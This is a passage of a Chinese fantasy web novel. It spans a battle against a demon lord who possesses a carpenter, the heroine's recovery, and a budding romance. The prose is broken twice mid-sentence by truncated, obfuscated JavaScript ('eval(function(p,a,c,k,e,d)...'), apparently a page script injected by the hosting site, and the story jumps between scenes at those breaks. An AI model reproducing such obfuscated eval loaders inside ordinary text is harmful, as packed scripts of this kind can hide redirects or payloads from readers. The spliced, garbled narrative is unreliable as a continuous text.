洛山“啧”了一声,“那么多老虎打我一个,我这小身板可不够分啊!”他反手将拂尘插到后腰,五指一握,深陷泥土之中的暾云炬投影便旋飞进他手中,扬手一挥,兜头朝跑得最快的魔虎一棒槌!魔虎瞬间被劈成两半,然而它却并不像洛山想象中一般化作飞灰湮灭,魔气从切口处滋长出来,左右两半虎分别又长成了两只体型更小、速度却更快的狼! “哎哟我滴个乖乖!”洛山忍不住爆了一声粗口,两匹魔狼左右夹击,又有猛虎从头顶扑来,洛山避无可避,将暾云炬抡圆了来对抗四面八方袭来的魔兽,不可避免地将虎切成了狼,将狼切成了鹰,将鹰切成了无数条呲着尖牙蛇! 绮罗衣哈哈大笑,“你以为这几百年我们就那么没脑子,还会毫无长进吗!洛山,老夫造出来的魔兽厉害吧?专门用来对付暾云炬的!” 洛山被无数走兽猛禽包围住了,一时间竟不能脱身。 鸣珂看得心焦,余光中瞥见许渭气势汹汹地朝湖边走去,她想到了什么,朝洛山大喊道:“崖昱!杀死崖昱就能阻止圣主附身!” 绮罗衣双手环胸,看着被魔兽包围的洛山,桀桀发笑:“你洛山师兄早已分身乏术,哪还有余力去管那个不中用的凡人?” 洛山闻言勾唇一笑,“是谁告诉你,我是一个人来的?” 话音刚落,远处的天空忽然闪过一道白光,有什么东西带着耀眼刺目的光,径直飞向了逐月塔,“砰”地一声,白光重重砸进了逐月塔边上的地里,正好落在了崖昱和许渭中间。 许渭被强光刺得睁不开眼,几息时间过后,强光渐渐暗了下来,它睁开眼睛,正好看见一个倒插在土里的人,像是拔萝卜一般,双手往后抱住腿,用力将自己拔了出来。 少年一身白衣沾满了泥土,发髻也歪歪扭扭,看着近在咫尺被魔气侵蚀的许渭,他努力压下心中恐惧,大声叫嚣道:“白渐行在此,尔等魔物还不快快受死!” 洛山鼓励的声音传来,“小白好样的!速速杀了你旁边那个凡人!” “是!”白渐行立即扭头冲向崖昱,他的手中浮现了一柄薄如蝉翼的光刃,正正朝着崖昱的脖子斩下。 崖昱惊呼一声,抱着头就地蹲下,就在那光刃即将触到他的脖颈之时,一根铁针接下光刃,针上涌起燎原之火,迅速顺着刀刃攀上了白渐行的衣袖。 白渐行当机立断斩去半截袖子,扭身反手接下了许渭的攻击,两人立即缠斗在一处。虽然白渐行的修为比许渭低了两大境界,但他胜在速度快,靠着灵活的走位和敏锐的反应能力,勉勉强强接下了许渭猛烈的攻击。 崖昱直冒冷汗,看着眼前一黑一白缠斗在一起的两个人,心想这世界真是疯了,正道的修士迫不及待想要杀他,坏事做尽、强迫他助纣为虐的贼人却要救他,何其地荒谬? 他原本只是个普普通通的木匠,因为雕得一手好木头,被乡邻争相夸赞,才想着来到王都建功立业,到时候衣锦还乡,也给爹娘长脸。 哪成想他以为的康庄大道,竟然是一条不归路!自作孽不可活也就罢了,这是老天不想让他活命啊! 崖昱连滚带爬地往树林里跑去,洛山分身乏术,白渐行也被拖住了脚步,唯有被关在笼子里的鸣珂急得像是热锅上的蚂蚁。 怀中言如期的呼吸越来越微弱,她泪流满面,低下身子将脸颊贴紧了他的,妖力源源不断转化为灵力输送到他体内,可言如期的生机还是一点点逝去。 活了两百多年,鸣珂头一次感受到绝望是什么滋味。 这时,一声厉喝传入鸣珂耳中:“趴下!” 身体的反应比脑子更快,在鸣珂解读出那两个字是什么意思的时候,她已经弯腰趴了下来,手紧紧抱着言如期的脑袋,与此同时,伴随着一声鞭响,金属与结界破碎的巨大响声从脑袋正上空传来,她忽然感觉到夹杂着草木清香的山风呼啸而来,刮起了她的鬓发和衣袍。 鸣珂立即抬头看去,只见一个紫色身影极快地从她的斜上方掠过,那人的侧颜柔和甜美,一双黑眸却闪着稀碎的冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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岚孟随手抓起掉进囚车的一片树叶,朝叶子吹了一口气,叶子立即变作一只活灵活现的小鸟,扑腾着翅膀在半空中盘旋。 “你跟着它走,柳逸直在这山里有一处别院,眼下最安全的地方就是此处了,文皇后她们也在那里。” 鸣珂心知自己帮不上什么忙,重重握了一下岚孟的手,才跳下囚车跟在叶子小鸟后面狂奔。 岚孟替她挡住了魔兽的攻击,见她的背影消失在密林里,才扭头看向逐月塔边上,崖昱被关进了魔气织就的结界里,白渐行已经节节败退,许渭周身都缭绕着浓墨一般的魔气,腰间一柄短剑若隐若现,她高喊:“参!过来!” 被许渭挂在腰间的参剑受到主人的召唤立即剧烈地振动起来,“锵”地一声从剑鞘中飞出,冰寒气息瞬间蔓延开来,银剑快得好似一簇闪电,飞快地从魔兽身体中穿过,砰砰砰——像是有爆竹从魔兽体内炸开,就连洛山和夏澜熹都束手无策的魔兽竟奇迹般地炸成了一朵朵魔雾。 参剑从眼前一闪而过,夏澜熹追着它的身影看去,只见一只骨节分明的手将其一把接住,而手的主人,有着一头飘逸的齐肩短发,眼瞳逐渐从漆黑变得金黄,像是夏日初升的太阳。 夏澜熹这才看见剑身上穿着一个个浑圆的黑色琉璃珠。 岚孟一把甩掉了参剑上的魔核,“这些畜生交给我,你去帮白渐行。” 93. 云光印 绮罗衣放出来的魔兽体内的“琉璃珠”,其实和魔修体内用来承载分身的魔核同宗同源,只不过做了改进,更难被人察觉,并且身体被切开以后,魔核也会随之分开,故而一生二、二生三,魔核不碎,魔兽的分裂就无穷无尽。 若不是挪用了一部分尧玦妖丹里的神力,开了“法眼”,岚孟也无法察觉到魔核的存在。 只见三道光环萦绕在岚孟身上,为她抵挡着魔气的侵蚀,她左手拿着商刀,右手握着参剑,身形敏捷灵活,快得像是一阵风,在魔兽中间穿梭,快,狠,准,刀刀不曾落空,径直扎进魔兽的身体之中,刀尖一翻一挑,一颗颗魔核便被挑了出来,魔兽纷纷炸成了一团团雾气。 岚孟这边进展顺利,夏澜熹那边却是不容乐观。许渭不要命似地吸收着从地底涌上来的魔气,修为犹如春笋般一节一节攀升,逐渐回到了他被下狱之前的实力,甚至隐隐有突破破妄境的势头。夏澜熹并非山到源中人,没有暾云炬神力护体,既要对许渭进行攻击,又要护着自己不受魔气侵蚀,打得十分费力。 白渐行受了不轻的伤,一身白衣血迹斑斑,趴在逐月塔边上喘息不止,他手上缠着一根光线,光线的尽头缠在一个人的脖子上,正是已经昏死过去的崖昱。 岚孟解决掉所有魔兽,立即朝逐月塔奔去。 即便光线深深陷进皮肉里,崖昱的脖子也好像割不断似的,白渐行忍不住暗骂:“什么鬼啊,这脖子莫不是麻绳做的?” 他用力收紧了手中光线,眼见着崖昱的脖颈处淌出了鲜红血珠,他面露喜色,然而下一瞬,那殷红的血珠忽然变成了无数红色蜘蛛,撒开八条腿往外狂奔,并且爬上了那根缠绕住崖昱命门的光线,张嘴一咬,光线径直断裂。 “哎哟喂!”紧绷的光线一下子断了,白渐行被那力道冲得往后栽了个跟头。 岚孟已奔至他的身边,抬眼一看,便见崖昱猛地睁开了眼睛,一双血瞳好似无底之洞,潜藏着未知与恐怖。 只对视一眼,岚孟便“噗”地吐出一口血来,双膝一软,用参剑插在地上撑住身体,才没有跪倒下去。 无形的威压以崖昱为中心朝四周散开。 夏澜熹和洛山纷纷被定住了身形一般动弹不得。 绮罗衣“桀桀桀”地笑了起来,双手打开复又合拢,恭敬地朝崖昱抱拳行了一礼。 “属下绮罗衣恭迎圣主。” 许渭的反应慢了半拍,立即单膝跪地,附和道:“恭迎圣主。” 崖昱轻轻“嗯”了一声,缓步走到岚孟面前,隔空用魔气挑起她的下巴,看着她倔强的眼睛,勾唇道:“你就是岚孟?样子和尧玦长得不像,这狂傲不羁的眼神倒是如出一辙。” 岚孟冷声道:“你算什么东西?也敢提尧玦之名?” 崖昱乐道:“哦哟哟哟,就连这性子也是如此相像,不愧是尧玦一手带大的弟子。” 他仰头哈哈一笑,“你不知道吧?当初在青丘,那家伙被本座钉了十八根魂钉,愣是不肯为本座所用,这样危险又聪明的人物,若不能收入麾下,就只能斩草除根了,所以本座才杀了他。” 岚孟的眼中浮起了一缕缕血丝,紧握的拳头颤抖不止,恨不得将眼前之人生剥活剐,但她也清楚,面前的仇敌巍峨如高山,而自己不过是山脚下一只微不足道的蚂蚁,碾死自己何其简单?所以她咬着牙没有说话,只狠狠瞪着崖昱,鲜血逐渐从她的嘴角溢出。 “真没意思。”崖昱率先挪开了目光,卡住岚孟下巴的魔气也被撤回。 “打打杀杀的真没意思,你们这些人啊,就不能识趣一点,把天下尽数贡献给本座吗?” “笑话。”说话的是夏澜熹,她用力将自己撑了起来,桀骜不驯的脸上满是汗珠,却一丝也不肯服软。 “有本事自己来打呀!你以为我们吃饱了撑的,会把这九州让给一个魔头?别做梦了。” 崖昱把头一歪,好像在思考,良久,他才点了点头,表示赞同。 “也是,唾手可得的东西,等真的拿到手里就不会觉得有多么吸引人了,还是抢来的东西最好。” 他咧嘴一笑,身上冒出浓浓魔气,眼中猩红更甚,就连唇舌也变得猩红不似人类。 “所以,本座这不是来取了吗?” 洛山眼神一凛,他惊呼:“小心!” 话音未落,崖昱身上的魔气骤然迸发开来,黑气遮天蔽日,天地变得漆黑一片,剧烈的狂风呼啸着席卷地上的一切,呜呜咽咽好似恶鬼夜哭。 洛山手中的暾云炬散发出明黄色的光芒,将岚孟几人都包裹其中,魔气如急雨般冲刷着神力形成的结界,这比他以往遇到的魔气都更精纯、更浓郁,就好像…… 就好像是魔气的源头一般。 岚孟勉力睁开眼睛去搜寻崖昱的身影,只见他飞上了高高的塔尖,五指张开呈抓握状,桐泉湖波涛汹涌,巨浪一阵高过一阵,塔底忽然亮起一阵明明灭灭的光芒,有点点星光飘飘悠悠着升入空中,就好像无数萤火虫乘风而起,前赴后继地从塔底飞至塔尖,飞入了崖昱的掌心。 是龙气。 若所有龙气都被抽干,那整个楚国就完了,山河破碎,饿殍遍野,百姓们流离失所,这样的情况不会止步于楚国,而是会像瘟疫一样以楚国为中心向四面八方蔓延,要不了多久,整个九州大陆都会变成人间地狱。 岚孟挣扎着从芥子袋里取出了扶桑枝,将其插进了泥土之中,鲜血源源不断地从被割破的掌心淌下来,浇灌到了扶桑枝干上,不过手臂长的小树以肉眼可见的速度一寸寸长大,树根狠狠扎进大地,树冠则直冲云霄,壮硕的树干犹如巨人的手臂,一寸寸攀上了逐月塔,将其缠绕、束缚、绞紧,塔身发出了“吱嘎吱嘎”的呻吟。 魔气也不甘示弱,化作无数条钢铁般的触手拉扯着扶桑木,然而折断这条树枝,另一条树枝就能在一瞬之间长出来,源源不断,生生不息。魔气侵蚀着扶桑木,扶桑木也吞噬着魔气,这截来自世界上阳气最为充沛之地的树枝,最终长成了参天大树,尽忠尽职地吞食着吸人血肉、害人不浅的魔气。 相应的,岚孟也被魔气侵蚀,黑色的纹路从掌心开始一寸寸攀上胳膊,随着血液的流失,她的脸色越来越白,黑纹攀爬的速度也越来越快。 洛山飞奔过来用暾云炬的神力为她疗伤,然而也只是杯水车薪。 他破口大骂:“柳逸直!你到底在磨蹭什么啊!怎么还不来!” 话音刚落,一道光柱从天而降,正正照在了逐月塔上,白昼一般的亮光瞬间便将整座栖凰山照得透亮。与此同时,缠绕在逐月上的扶桑木枝条猛地收紧,巍峨宏伟的九层玄塔顷刻间便土崩瓦解,木材、瓦片哗啦啦坠入了桐泉湖之中。 洛山手中的暾云炬发出刺眼光芒,“轰”地一声迸发出强烈神力,绮罗衣和许渭双双被震飞了出去,从地底延展出来的魔气仿佛见到了洪水猛兽一般,纷纷躲回了地底之中。 崖昱悬浮在半空中,居高临下地睥睨着地面上的岚孟几人,脸上浮起一丝轻蔑,他冷哼一声:“你们以为,没了逐月塔,本座就无可奈何了吗?” 只见他双手结印,十指翻飞,繁杂神秘的法印出现在他足下,等到最后一笔印记落成,法印猛地坠入地面,和星垣之阵交叠在一起,形成了新的阵法。 他五指聚拢往阵法上一抓,顿时山摇地动,一声声龙吟不知从何处响起,似远在天边,又似近在眼前,只见一条金龙从阵法中缓缓探出了头,它的鳞片熠熠生辉,犹如黄金打造,一双眼睛炯炯有神,仿佛盛满了璀璨星辰,喉间时不时滚出低沉而有力的龙吟,周围的空气都因这一声声吟啸而振动。 很快,金龙的眼睛里多了几分抗拒,原本霸气威武的龙吟变得压抑而痛苦,它激烈地挣扎起来,扭着身子想要回到龙脉之中,然而崖昱的手隔着空气紧紧抓住了它,让它反抗不得,只能任由贼子一寸一寸将自己扯出沉睡了千万年的土地。 夏澜熹“呸”地吐出一口血,沉寂的眼神像是裹挟着寒冰,她跳上了扶桑木,顺着枝干凑近了崖昱,列缺鞭破开了空气,迎着飒飒风声抽向了崖昱。 鞭子被单手抓住,而夏澜熹要的就是这个效果,她嘴里吐出几句梵音,刻在鞭子上梵文立即活了过来,一个接一个贴上了崖昱的身体。一开始崖昱还毫不在意,几个破字能奈他何?然而很快他便笑不出来——他能感觉到这具身躯忽然变得滚烫,脑海中“南无阿弥陀佛”几个字在重复回荡,充斥着神经,整个脑袋都像是要被撑炸了。 “啊!”崖昱发出了一声惨叫,黑雾被排斥出这具身躯,凡人崖昱和圣主被剥离开来,只剩半条腿还彼此粘连。 趁着这个破绽,岚孟握着参剑一跃而起,血液淌到了冰寒剑刃上,将其包裹、延伸,瞬间便变成了一把血色长剑,她毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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圣主没了可以寄身的躯体,只能化作一团黑雾在高空中飞如无头苍蝇般乱窜,魔气凝聚成雨一样的实体,从万丈高空中直坠而下,毫无差别地攻击着地上所有生灵,并且范围极大,不只是栖凰山,整个卧泉城都在它的攻击范围之内。只要被魔雨击中的,花草树木会立即焦黑枯萎,人抑或是飞禽走兽,则是顷刻成枯骨,森森白骨也会被魔雨消融成墨汁一般的水。 柳逸直单手揽着岚孟的腰身,两人重重砸在了地上,他猛地吐出一口血来,然而柳逸直不敢有丝毫的放松,立即支起灵气罩抵挡着魔雨的侵蚀。 魔雨连绵不绝。 洛山调动全身的灵气,将其灌注于暾云炬之中,暾云炬的赐福逐渐蔓延开来,像是天上的五彩华光降落到了凡尘,华彩抵挡住了一部分魔雨,但洛山毕竟只能调用暾云炬的投影,他身上早已伤痕累累,体内灵力所剩无几,即便是使尽浑身解数,也只能勉强将赐福延展至方圆二十里,还有半座卧泉城暴露于魔雨之下。 他仿佛听到了天地的哀嚎。 洛山不禁在想,若是身在此地的人,面临此窘境的人,不是他,而是尧玦,会不会有不一样的结果? 灵力逐渐耗尽,赐福的范围逐渐缩小,洛山脱力倒下,暾云炬投影也逐渐化作星星点点消失于天地之间。 然而魔雨还在侵蚀着大地,圣主癫狂地飘来飘去,狰狞笑声响彻云霄。 夏澜熹撑着扶桑木站了起来,手里紧紧握着列缺鞭,殷红血丝溢出唇角,她抬起手背擦了擦,正要一鼓作气跃上空中,忽然瞥见天际一簇青光直直朝他们飞来。 圣主狰狞的笑声戛然而止,黑雾幻化出人的轮廓,抡起拳头撞向那簇青光,灵气和魔气两相碰撞发出了震耳欲聋的声响,磅礴的灵气化作瓢泼大雨,将魔雨冲刷殆尽。 “玉成汝?”圣主冷哼一声,“你这窝囊废倒是来得及时。” 那青光正是玉成汝,他施施然站在半空之中,一身雪衣皎洁如天穹之上的月光,嗓音和缓,像是一声叹息,而这叹息之中又暗含隐怒: “你终于从地底出来了。” “本座干什么,还需要和你打招呼?”圣主泄出一声轻蔑的笑。眼见着竹篮打水一场空,并且他只来了一具分身,再纠缠下去毫无意义,他便化作黑雾俯冲而下。 玉成汝怎能顺了他的意?立即飞身而上与其缠斗,两人在空中打了百来个回合,没人看得清他们的动作,只晓得破空之声震耳欲聋,刀光剑影,天摇地动。 最终是玉成汝一把拽住了那黑雾的一角,虚无缥缈的雾气被他拽在了手中,青藤一般的纹理立即从相触的地方爬遍了整团黑雾,让圣主插翅难飞。 圣主只好断尾求生,当机立断斩断了本体与分身的联系,黑雾散成魔气,从青藤巨网之中逸散开来,逐渐沉入了地底。 玉成汝的神色晦暗不明,他一甩袖,整个人便于半空之中骤然消失,好似从来都没有来过一般。 一条彩虹横亘天际,柳逸直的心情终于明朗起来,他扭头去寻找岚孟的身影,那个被他放在心尖上的姑娘两眼紧闭,身上满是血污,呼吸轻缓又沉稳,已经累得睡着了。 94. 九子莲 岚孟做了一个很长的梦。 天空被乌云遮蔽,昏沉沉的,鳞次栉比的房屋都是灰黑色,没有一丝色彩,风呜呜地吹着,压抑,烦闷,凄苦。她独自奔跑在空无一人的街巷之中,不知道自己身在何处,不知道为什么要奔跑,也不知道前路等待着她的是什么。 她去叩路边人家的大门,呜呜风声将拍门声掩盖吞噬,没有任何人回应。掌下漆黑的木门忽然冒出了密密麻麻的眼睛,眼瞳漆黑无神,眼白惨淡,透露着令人心惊的恐怖。 心底的恐惧如潮水汹涌,一寸寸淹没了她。岚孟迟疑地往后退,门上成千上万只眼睛齐刷刷朝她看来,每一只眼睛都倒映着她的样子——蓝发蓝瞳,背后两只折断的血淋淋的翅膀,心脏的地方空洞洞的,什么也没有。 岚孟扭头朝前方跑去,不敢在路上停留。 她不知道自己这是怎么了,鼻头酸涩不止,眼中不可遏制地溢出一股股滚烫的泪水,怎么擦也擦不完。 这条道路仿佛永远也走不到尽头,她跑了很久,身边的景物陌生又熟悉,她隐约觉得,自己好像忘记了什么。 脚下踢到了一块凸起的地砖,她扑倒在地,地面凉如冰块,寒气源源不断地涌入她的身体里,胸口忽然泛起一阵阵的疼,她想,心都没了,是什么在疼? 脚步声由远及近,她爬了起来,扭头一看,见一个人破开浓浓的迷雾朝她走来,身姿挺拔如竹,高高的发髻迎风摇曳,瞧着十分熟悉。 是谁? 那人在她脚边停了下来,拾起地上被遗落的一朵洁白的蔷薇花朝她递来。 “最重要的东西,不要忘记了。”他笑着说。 岚孟仰头望着他的脸,努力睁大了眼睛去看,想要看清楚他的样貌,然而任凭她怎么努力,那人的脸始终都被迷雾笼罩,让人看不真切。 神使鬼差间,她伸手抚上他的脸庞,不同于地面的残酷与冰凉,她触到了一手温热,暖洋洋的,从指尖开始,她的身体逐渐回暖,意识也在这一瞬间从梦中清醒过来。 一睁眼,便对上了一双琥珀色的眼睛,目光右移,她的手放在了人家的脸颊上。 难得见她一脸怔忪的神态,柳逸直不禁生起了促狭之心,他挑眉勾唇,问道:“还没摸够?” 岚孟愣了一下,眼神瞬间变得清明,她“嗖”地一声将手缩了回来,想要从床上站起,然而浑身酸疼,四肢软弱无力,扬起的肩背重重砸在了床板上。 柳逸直握着她的胳膊助她靠坐在了床头,然后从窗边的矮几上端来一碗温水。 “渴了吧?先喝点水吧。” 经他这么一提醒,岚孟才感觉嗓子快要冒烟了,嘴唇也干裂得不像话,她接过水碗小口喝了起来,眼神往四处瞄,才发现这是她在杳云居的屋子,不远处的窗户开着一扇窗,可以窥见远处层层叠叠的山峦与随风摇曳的林海。窗边的梳妆台一角放着一支花瓶,黄色腊梅含苞待放,散发着幽幽地香气。 目光转回近前,缓缓落在了毫不客气坐在她床边的男人身上,一身青衫落拓,梳着高高的发髻,马尾垂落肩头,乌黑的发色泛着光泽,像是个清贵的少年郎。但那张脸庞早已褪去了稚嫩,显露出属于成熟男人的从容来,朗眉星目,神清骨秀,琥珀色的双瞳好似晶莹剔透的宝石。 岚孟避开他灼灼视线,将水一饮而尽,空碗塞回到他手里,语气生硬:“我睡了多久?” 柳逸直将碗放回原位,“三天而已。饿吗?想吃什么,我去给你买,或者先服点丹药?” 岚孟摇了摇头,服用再多仙丹灵药也是治标不治本,还不如不吃。 “情况如何?” “圣主和许渭他们早就跑没影了,星垣之阵也已被毁,楚国的龙脉并无大碍,只不过卧泉城被那阵魔雨伤得不轻,死了不少人,房屋住宅也被损毁了不少,文皇后接过了治国大权,相信不久就能重建家园了。路央师姐从陵州赶了过来,堪堪将言如期从鬼门关拉了回来,他和鸣珂就住在杳云居里。夏首座伤得不重,今晨已经离开,贺舟晏不知去向。” 柳逸直简单交代了事情的结果,觑着她苍白的脸色,心道她失了那么多血,硬熬怎么熬得过去?于是帮她掖了掖被子,留下一句“我去给你弄点吃的”便离开了小飞楼。 柳逸直前脚刚走,霜笛后脚便跃上了窗台,他满身的酒气,手里还提着一方酒坛,脸上浮着两朵红云,显然是醉得不轻,他捂着嘴打了个酒嗝,醉眼看向岚孟,道:“我回云登谷了,你怎么说?还要待在这?” 岚孟抿着唇没说话,霜笛就当她默认了,勾唇嗤笑一声,“算了,反正我也管不了你,这就滚蛋了。” 他转身欲走,忽然想起了什么,身形一顿,扭头看她,“那个谁……”刚说了三个字他就卡壳了,半天没想起来原本想说的是谁,于是狠狠挠了一把头发,终于灵光乍现:“哦对对对,你要小心那个圣主,他完完全全就是魔气化身了,所以千万年来一直在寻找合适的身躯,之前那个崖昱和他并不完全契合,故而他才会想要用吸纳龙气的方法来弥补这个缺陷。现在你们坏了他的好事,人家肯定不会好心地放你谈情说爱逍遥自在,指不定要在背后整什么幺蛾子呢。你既然已经打定了主意不肯置身事外,就要做好被打击报复的准备,别到时候哭着鼻子回来找我救你。” 岚孟差点被气笑了,“我哭着鼻子回去找你?笑话,你还真把自己当根葱了?” 霜笛早已习惯了她这夹枪带棒的口气,也不恼,最重要的是酒喝多了脑子不灵光,他一时间也想不出来什么词来骂他,又或许是因为她躺在床上半死不活的惨样,令他心生怜悯,也没心思和她耍嘴皮子了,只挥了挥手,跳下窗台离去了。 岚孟掀开被子翻身下了床,走到梳妆台边,拉开最底层的抽屉翻出一瓶回灵丹全部倒进嘴里嚼巴嚼巴。 算了算了,还是吃点吧,实在是太难受了,从来没有流过这么多血,全浇在那株扶桑木上了。 她走到对面,推开窗户一看,只见一片郁郁葱葱之中乍然冒出来一株参天古树,枝桠繁茂,迎着春风站在群山之巅,像是一个虚怀若谷的长者,俯瞰着这个充斥着悲欢喜乐的世界。 根深蒂固,拿是拿不回来了,她可没有让树返老还童的法子,只能折几支树杈子回来弥补损失了。 回灵丹起了效果,四肢渐渐生出力气来,岚孟走出小飞楼,门外的景色早已不似来时那般荒凉,草色青青,风吹树叶沙沙响动,几只麻雀立在檐头啼鸣,叽叽喳喳不知疲倦,到处都是一派欣欣向荣的景象。 刚拐过藏在竹林里的回廊,迎面便碰上了抱着一笸箩药材的路央,她眼睛一亮,快步走到她身前,笑问道:“闫师妹你醒了?感觉怎么样?我给你开点补气血的方子吗?” 岚孟摇头拒绝:“多谢师姐美意,我知道该怎么做。” 路央也没再坚持,转而问道:“我听诸葛宁说,你有很多种子是吧?有浮雨花的吗?我要给言如期配药,就缺这一味药引了。” 岚孟将手伸进芥子袋里掏了掏,抓出来一把杏仁大小的种子放进了路央 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循着鸣珂的气息来到一处屋舍,透过半开的窗户,她看见脸色苍白的言如期躺在床上,而鸣珂坐在床边握着他的手,她的眉头紧紧皱起,面色愁苦,出神地盯着言如期的脸,连岚孟来了都没有察觉, 她也帮不上什么忙,确定言如期无性命之忧以后,岚孟便离开杳云居,缓缓走上了栖凰山。她走得不快,来到桐泉湖时日头已经西斜,淡淡的金色光辉透过林间缝隙洒在被微风吹起波澜的湖面上。 好似被棍子从潭底乱搅一通,泥沙上涌,原本清澈碧蓝的湖水也变得浑浊不堪。逐月塔倾塌,塔上木材、瓦片大半都落进了桐泉湖中,两天过去无人打捞,不少碎木残骸飘在湖面上,随着波澜起起伏伏。 岚孟动了动手指,扶桑木上垂下许多枝条,探进湖底将木头瓦片尽数捞了上来,湖面变得干干净净,想必过不了几日就会恢复往日的澄澈。 她一把火烧了那些废木,火光映照在她没有一丝表情的脸上,冷硬的线条也变得柔和。眼看着木头一点点烧成灰烬,风一吹便纷纷扬扬撒进灌木丛中,同大地融为一体,岚孟才折了几杈扶桑木树枝收进妖境里插在土中,起身打算离开。 就在这时,身后传来哗哗水声,她回头一看,见桐泉之水拧成了一股绳涌上了高空中,化成一只手的模样,捧着一朵晶莹剔透的冰花递到了她的眼前。 这是……在表达感谢? 岚孟道:“顺手之劳而已,你不必特意感谢我。” 那只手愣在原地半晌没有动,一副她不收就不肯罢休的样子。 岚孟叹了口气,伸出手去接,冰花飘飘悠悠落在了她的手心,触感微暖,像是握着一块暖玉。 水灵撤回到了桐泉之中,湖面又恢复了平静。 风呼呼地吹着,林中静谧安详,时不时会有一声清脆的鸟鸣划破这番寂静,岚孟的步伐要比来时轻快许多。 耳畔忽然传来一阵急促的脚步声,她闻声看去,只见柳逸直行迹匆匆地从远处奔来,看到她时脚步慢了一瞬,继而加快,不多时便来到了她的跟前。 他的呼吸很急促,额头上有细密的汗珠,一副很着急的样子。 “怎么了?”岚孟温声问道。 “你……”话到嘴边,柳逸直又咽了下去,“我还以为你已经走了。” “我若真走了,你待如何?” “我会去找你。”柳逸直不假思索道,看着岚孟的眼神满是认真。 所以岚孟笑了。 像是微风拂过山岗,吹皱谁人心头一池春水。 95. 不喜欢 杳云居厨房。 灶上的锅里煨着灵米粥,甫一打开锅盖,米香四溢,最上层已经凝了一层膜,柳逸直拿勺子将其撇到了一边,舀了下层的米粥出来到碗里,递到坐在灶边的岚孟手里。 “都是病患,我就没放别的东西,你尝尝合不合胃口,不喜欢的话我再做点别的。” 岚孟舀起来尝了一口,温热的米粥口感细腻润滑,散发着馥郁的米香,不硬也不烂,下厨之人火候掌握得极好,可岚孟只轻轻“嗯”了一声,点评一句“尚可”。 柳逸直笑了笑,挪了只凳子,安静地坐在旁边看着她吃。 他的目光并不灼热,但很有存在感,岚孟抬眸去追,那目光却又挪开了,她只看见火光熏陶下棱角柔和的侧脸,然而等她收回视线以后,那目光又会轻飘飘落回在她身上。 如此反复,直到她胃口颇好地喝了两碗粥。 月光下,两人一前一后走在庭院回廊上,岚孟要回阁楼,柳逸直亦步亦趋地跟着她。 “洛山师兄已经先行回山到源了,他说宗门会召开一次群英会,广邀天下修士共商讨伐朝圣道大计,时间估计会定在一个月后。”柳逸直道。 他师傅风菱衣从九幽回来,必定是发现了什么,才引得各位山主下了这个决定。 岚孟“嗯”了一声,表示自己知道了。她问:“你今后有什么打算?” 柳逸直不答反问:“你呢?” “我要做什么,你不是已经知道了吗?” 柳逸直看着前方几步远处背着手走在月光下的姑娘,她把头发裁短了,还未抵达腰际,皎洁的月光为柔顺如绸缎的发丝披上了一层银光,掩映着其后盈盈不足一握的腰肢。 他的心头忽然泛起一阵密密麻麻的疼。 她当然不会知道,除了给她看过的记忆,他还看到了什么。 复活尧玦是她筹谋了十八年的事情,灌注了她的全部心血,柳逸直自知劝不动她,他也没有这个资格和身份,去指责阻止她,所以,他只好加入她,为她扫清一切障碍。 “你做什么,我就做什么。”柳逸直回答道。 两人来到了小飞楼的门口,岚孟一只手已经搭在了门把手上,她扭头去看身后那个背对着月光的男子,黑灯瞎火地,她看不清他的面容,却能看见他亮若盛满了星河的眼睛,瞳孔不大,却也装下了一整个她。 她将人拽进了屋子里,房门“砰”的一声合上了。屋里没有点灯,唯一的光亮是透过镂空的窗棂斜射进来的月光。 静悄悄的,什么声音都没有。柳逸直被岚孟堵在门上,两人挨得很近,呼吸交织在一起,身体的热度相互传递。柳逸直一动也不敢动,只低头望着她,等着她发话。 将人拽进来以后,岚孟又不知道该怎么办了,她嗫喏半天,挤出来一句:“引魂灯呢?” 柳逸直愣了一下,将早已做好的引魂灯从芥子袋里取出来交到她手里。 岚孟抬起来就着月光看了半天,确定和图纸上画得一模一样,唇边浮起一抹淡笑,然后将灯盏好好收了起来。 柔夷抚上柳逸直的左臂,掌下肌肉紧实,她虽然是第一次替人续骨,但技术应该是不差,虽然才过去了三四天,骨头却已经快要长好了,断臂也已经恢复了知觉。 柳逸直直视前方,目光落在屋中案头的花瓶里,他早上刚插上的一支粉色芍药上。感受到她的手指轻轻划过手臂,一寸寸往上攀,最后落在了肩膀处,紧接着,女人凑了上来,身子贴紧了他的,温热的呼吸泼洒在脸上。 他咽了咽口水,喉结上下动了动,视线定焦在近前,一张桃花粉面已经恢复了血色,红唇微启,勾出一抹诱人弧度,但是在贴近的那一刻,他扭头避开了,于是温热的唇瓣擦过他的下巴落了个空。 岚孟身形一僵,心上一恼,手上用力推了他一下,门板被撞得发出轻响,她皱眉质问:“你什么意思?” 柳逸直没回头,声音带着些许沙哑,他轻声问:“你喜欢我?” “这重要吗?”岚孟反问。 “当然重要。”柳逸直垂眼看她,眼中满是认真,“因为我喜欢你,我希望你也是因为同样的感情才与我亲近,而不是因为其他的什么目的。你想做什么我都可以帮你,不需要拿你自己来交换。” 岚孟避开他的目光,“这话我可没说。” “那你喜欢我?” “不喜欢。” 柳逸直:“……” 他深深舒了一口气,握着她的肩膀将她推开,转身拉开了门,扭头道:“夜深了,好好休息吧,我回去了,有事就叫我。” “等等。”岚孟一把攥住了他的手,解释道:“你不要想多了,我可没想着把自己送给你。” 柳逸直停下了脚步,安静地看着她解释。 “只不过是见你上道,想给你一点点奖励而已,换做别人我才不会这样呢。” 月光下姑娘白皙的脸庞渐渐浮上了几分薄红,乌黑灵动的眼睛闪躲着,不敢与他对视,樱唇一张一合,说着欲盖弥彰的话。 柳逸直忽然明白了什么,心湖漾起了一阵阵涟漪。于感情而言,眼前这人毫无疑问是迟钝而青涩的,或许根本不知道什么是心动,什么是喜欢,只是照葫芦画瓢,想用这种关系抓住他,让他死心塌地为她所用。 但她不知道的是,他早已将所有目光都放在了她身上,她的一举一动、一颦一笑都能牵动他的心神。 柳逸直反握住她的手,将人拉了过来,她难得温顺,没有一丝抵抗,就这样被他扯进了怀里。 